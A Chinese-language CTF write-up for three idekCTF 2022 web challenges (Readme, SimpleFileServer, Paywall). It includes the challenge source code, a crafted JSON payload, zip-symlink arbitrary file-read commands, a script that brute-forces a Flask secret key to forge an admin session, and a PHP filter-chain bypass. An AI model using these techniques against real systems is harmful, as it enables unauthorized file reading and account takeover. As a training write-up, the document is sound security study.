idekCTF2022 Web
Readme
给了源码,本地搭建把环境变量中flag和ip端口改了一下。源码如下:
package main
import (
"bufio"
"bytes"
"context"
"crypto/sha256"
"encoding/json"
"errors"
"fmt"
"io"
"io/ioutil"
"math/rand"
"net/http"
"time"
)
var password = sha256.Sum256([]byte("idek"))
var randomData []byte
const (
MaxOrders = 10
)
func initRandomData() {
rand.Seed(1337)
randomData = make([]byte, 24576)
if _, err := rand.Read(randomData); err != nil {
panic(err)
}
copy(randomData[12625:], password[:])
}
type ReadOrderReq struct {
Orders []int `json:"orders"`
}
func justReadIt(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()
body, err := ioutil.ReadAll(r.Body)
if err != nil {
w.WriteHeader(500)
w.Write([]byte("bad request\n"))
return
}
reqData := ReadOrderReq{}
if err := json.Unmarshal(body, &reqData); err != nil {
w.WriteHeader(500)
w.Write([]byte("invalid body\n"))
return
}
if len(reqData.Orders) > MaxOrders {
w.WriteHeader(500)
w.Write([]byte("whoa there, max 10 orders!\n"))
return
}
reader := bytes.NewReader(randomData)
validator := NewValidator()
ctx := context.Background()
for _, o := range reqData.Orders {
if err := validator.CheckReadOrder(o); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
return
}
ctx = WithValidatorCtx(ctx, reader, int(o))
_, err := validator.Read(ctx)
if err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
return
}
}
if err := validator.Validate(ctx); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
return
}
w.WriteHeader(200)
w.Write([]byte("flag{test_flag}"))
}
func main() {
initRandomData()
http.HandleFunc("/just-read-it", justReadIt)
srv := http.Server{
Addr: "192.168.31.232:8989",
ReadTimeout: 5 * time.Second,
WriteTimeout: 5 * time.Second,
}
fmt.Printf("Server listening on %s\n", "192.168.31.232:8989")
if err := srv.ListenAndServe(); err != nil {
panic(err)
}
}
type Validator struct{}
func NewValidator() *Validator {
return &Validator{}
}
func (v *Validator) CheckReadOrder(o int) error {
if o <= 0 || o > 100 {
return fmt.Errorf("invalid order %v", o)
}
return nil
}
func (v *Validator) Read(ctx context.Context) ([]byte, error) {
r, s := GetValidatorCtxData(ctx)
buf := make([]byte, s)
_, err := r.Read(buf)
if err != nil {
return nil, fmt.Errorf("read error: %v", err)
}
return buf, nil
}
func (v *Validator) Validate(ctx context.Context) error {
r, _ := GetValidatorCtxData(ctx)
buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
if err != nil {
return err
}
fmt.Println(bytes.Index(randomData, buf))//这一句是我自己加的,方便调试
if bytes.Compare(buf, password[:]) != 0 {
return errors.New("invalid password")
}
return nil
}
const (
reqValReaderKey = "readerKey"
reqValSizeKey = "reqValSize"
)
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
reader := ctx.Value(reqValReaderKey).(io.Reader)
size := ctx.Value(reqValSizeKey).(int)
if size >= 100 {
reader = bufio.NewReader(reader)
}
return reader, size
}
func WithValidatorCtx(ctx context.Context, r io.Reader, size int) context.Context {
ctx = context.WithValue(ctx, reqValReaderKey, r)
ctx = context.WithValue(ctx, reqValSizeKey, size)
return ctx
}
首先初始化了两个全局变量:password
和randomData
。 password
变量是由字符串"idek"进行SHA256哈希得到的。 randomData
变量是创建了一个大小为24576
字节的字节数组,然后使用rand.Seed(1337)
随机填充该数组,最后在randomData
的12625
个字节后面添加上password变量的值。
我们接下来看main函数
这里设定了一个just-read-it
路由,这个路由定义了诸多过滤,我们一个一个看。
第一行代码defer r.Body.Close()
会在这个函数退出之前关闭请求的Body。 然后调用ioutil.ReadAll(r.Body)
读取请求的body部分到一个字节数组里。 如果读取过程中出现错误,就会返回http状态码500和"bad request"的错误信息。
这段代码中,它首先声明一个ReadOrderReq
类型的变量reqData
。然后使用json.Unmarshal
函数将请求的body
数据解码成ReadOrderReq
类型的reqData
。如果解码出现错误,则会返回"invalid body"
的错误信息。
这段代码就是限制reqData
变量中Orders
属性的数量不能大于10
这里首先新建bytes.Reader
对象并传入randomData
数据。然后循环调用validator.CheckReadOrder(o)
检测传入的每一个Orders
,必须是大于1小于100的数
CheckReadOrder
func (v *Validator) CheckReadOrder(o int) error {
if o <= 0 || o > 100 {
return fmt.Errorf("invalid order %v", o)
}
return nil
}
WithValidatorCtx
然后调用WithValidatorCtx
函数,
func WithValidatorCtx(ctx context.Context, r io.Reader, size int) context.Context {
ctx = context.WithValue(ctx, reqValReaderKey, r)
ctx = context.WithValue(ctx, reqValSizeKey, size)
return ctx
}
这段代码是定义了一个函数WithValidatorCtx,它用于在给定的上下文中添加两个键值对,分别是reqValReaderKey和reqValSizeKey,并将它们的值分别设置为传入的reader
和orders
。最后将新的上下文返回。
随后调用Read方法。
Read
这段代码是一个实现了 Validator
结构体的 Read 方法,它接受一个 context.Context
类型的参数 ctx,调用 GetValidatorCtxData(ctx)
方法获取到 reader
和 orders
的值,分别赋值给变量 r 和 s。接着定义一个 buf 变量,大小为 s,然后调用 r.Read(buf)
方法读取数据。每调用一次Read,位置就会往后移。
接下来调用Validate(ctx)
Validate
func (v *Validator) Validate(ctx context.Context) error {
r, _ := GetValidatorCtxData(ctx)
buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
if err != nil {
return err
}
fmt.Println(bytes.Index(randomData, buf))
if bytes.Compare(buf, password[:]) != 0 {
return errors.New("invalid password")
}
return nil
}
这里传入上下文,获取到reader,然后读取32位数据。然后将读取到的数据与密码做对比,如果正确则通过if,最后拿到flag。
我们知道randomData[12625:]之后的数据衔接密码,所以我们要让读取的位置从12625开始,即可让reader.Read()读取到的数据是以密码
先输入100,得到位置是4096,输入其他数字,得到的则是本身
那么 4096x3 + 98x3+43=12625
所以post传入:
{"orders": [100, 100, 100, 98,98,98,43]}
SimpleFileServer
分析源码
给了源码,是flask框架,获取flag需要伪造admin
import logging
import os
import re
import sqlite3
import subprocess
import uuid
import zipfile
from flask import (Flask, flash, redirect, render_template, request, abort,
send_from_directory, session)
from werkzeug.security import check_password_hash, generate_password_hash
app = Flask(__name__)
DATA_DIR = "/tmp/"
# Uploads can only be 2MB in size
app.config['MAX_CONTENT_LENGTH'] = 2 * 1000 * 1000
# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log')
LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style='{'))
logger = logging.getLogger("application")
logger.addHandler(LOG_HANDLER)
logger.propagate = False
for handler in logging.root.handlers[:]:
logging.root.removeHandler(handler)
logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
logging.getLogger().addHandler(logging.StreamHandler())
# Set secret key
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]
@app.route("/")
def index():
return render_template("index.html")
@app.route("/login", methods=["GET", "POST"])
def login():
session.clear()
if request.method == "GET":
return render_template("login.html")
username = request.form.get("username", "")
password = request.form.get("password", "")
with sqlite3.connect(DATA_DIR + "database.db") as db:
res = db.cursor().execute("SELECT password, admin FROM users WHERE username=?", (username,))
user = res.fetchone()
if not user or not check_password_hash(user[0], password):
flash("Incorrect username/password", "danger")
return render_template("login.html")
session["uid"] = username
session["admin"] = user[1]
return redirect("/upload")
@app.route("/register", methods=["GET", "POST"])
def register():
session.clear()
if request.method == "GET":
return render_template("register.html")
username = request.form.get("username", "")
password = request.form.get("password", "")
if not username or not password or not re.fullmatch("[a-zA-Z0-9_]{1,24}", username):
flash("Invalid username/password", "danger")
return render_template("register.html")
with sqlite3.connect(DATA_DIR + "database.db") as db:
res = db.cursor().execute("SELECT username FROM users WHERE username=?", (username,))
if res.fetchone():
flash("That username is already registered", "danger")
return render_template("register.html")
db.cursor().execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, generate_password_hash(password)))
db.commit()
session["uid"] = username
session["admin"] = False
return redirect("/upload")
@app.route("/upload", methods=["GET", "POST"])
def upload():
if not session.get("uid"):
return redirect("/login")
if request.method == "GET":
return render_template("upload.html")
if "file" not in request.files:
flash("You didn't upload a file!", "danger")
return render_template("upload.html")
file = request.files["file"]
uuidpath = str(uuid.uuid4())
filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
file.save(filename)
subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])
flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
return redirect("/upload")
@app.route("/uploads/<path:path>")
def uploads(path):
try:
return send_from_directory(DATA_DIR + "uploads", path)
except PermissionError:
abort(404)
@app.route("/flag")
def flag():
if not session.get("admin"):
return "Unauthorized!"
return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")
在config.py中发现SECRET_KEY是通过随机数生成的,种子是时间戳+一个常数。但这个常数是被修改过的,并没有给我们
SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
此时我们就应该寻找这个时间了,从dockerfile中可以看到有/tmp/server.log
日志
FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
RUN apt update && apt install -y \
sqlite3 zip unzip \
&& rm -rf /var/lib/apt/lists/*
# pip
RUN pip install --no-cache-dir flask gunicorn
COPY src/ /app
WORKDIR /app
RUN chmod 4755 flag
RUN chmod 600 flag.txt
USER nobody
CMD bash -c "mkdir /tmp/uploadraw /tmp/uploads && sqlite3 /tmp/database.db \"CREATE TABLE users(username text, password text, admin boolean)\" && /usr/local/bin/gunicorn --bind 0.0.0.0:1337 --config config.py --log-file /tmp/server.log wsgi:app"
日志当中肯定记录了服务器运行这个程序的时间,取这个时间的前后进行爆破应该就可以了。这题可以上传zip,然后服务器进行解压缩,并把解压之后的文件链接给你。我们可以通过zip软链接
实现读取除flag以外的任意文件,因为这题的flag是600权限
软链接读取
ln -s /tmp/server.log le1a.link
zip --symlink le1a.zip le1a.link
读取到时间以后,转为时间戳开始爆破正确的时间戳。然后我们还要读取config.py
中真正的SECRET_OFFSET
这里我们可以用到flask_unsign
包来验证key是否正确
import random
import sys
from flask_unsign import verify, sign
session = "eyJhZG1pbiI6bnVsbCwidWlkIjoiYSJ9.Y8NJdQ.t-Orpm8NJN1OcTRqzI1SJsx_hks"
# 验证key是否正确
#print(verify("eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU", "CHANGEME"))
# 时间戳范围
start = 1673737312
# 1673737412
end = 1673737415
SECRET_OFFSET = -67198624
while start < end:
start = round(start,3)
random.seed(round((start + SECRET_OFFSET) * 1000))
key = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
print(start)
if verify(session, key) == True:
#key = "e897071bf3d5dc6ff7882fc0b64ece5c"
print("==="*20)
print(sign({'admin':True, 'uid': 'a'}, key))
print(key)
sys.exit(0)
start += 0.001
将得到的session替换,然后访问flag路由即可获得flag。
Paywall
给了源码
<?php if (isset($_GET['source'])) highlight_file(__FILE__) && die() ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="assets/style.css">
<title>The idek Times</title>
</head>
<body>
<main>
<nav>
<h1>The idek Times</h1>
</nav>
<?php
error_reporting(0);
set_include_path('articles/');
if (isset($_GET['p'])) {
$article_content = file_get_contents($_GET['p'], 1);
if (strpos($article_content, 'PREMIUM') === 0) {
die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
}
else if (strpos($article_content, 'FREE') === 0) {
echo "<article>$article_content</article>";
die();
}
else {
die('nothing here');
}
}
?>
<a href="/?p=flag">
<article>
<h2>All about flags</h2>
<p>Click to view</p>
</article>
</a>
<a href="/?p=hello-world">
<article>
<h2>My first post!</h2>
<p>Click to view</p>
</article>
</a>
<a href="/?source" id="source">Source</a>
</main>
</body>
</html>
这里请求p参数,然后使用file_get_contents()
函数读取这个文件。但是会检测文件内容,如果是以PREMIUM
开头的话,就会被拦截。如果是以FREE
开头,就会把文件内容展示出来。
我们来看一下flag的格式,正是以PREMIUM
开头的,所以说直接?p=flag
是会被拦截的
所以这里想要bypass
这个过滤,就得让flag
以FREE
开头。一般来说常用filter
伪协议来加密文件内容,例如String.rot13
之类的。
那要怎样才能改变读取到的文件内容,使得文件内容以FREE开头呢。
filter链
这里有一个开源工具 https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain 'FREE ' //至于这里为什么FREE后面要加空格下面再说
flag
idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}
FREE后为什么要加空格
我们来看看不加空格的效果:
可以看到虽然flag读取到了,flag乱码了。原因可能是因为要把构造的FREE 跟 flag间隔开,防止flag部分也被加密输出了。
在工具文档也说了,需要在FREE之后填充几个空格,以便payload可以正常工作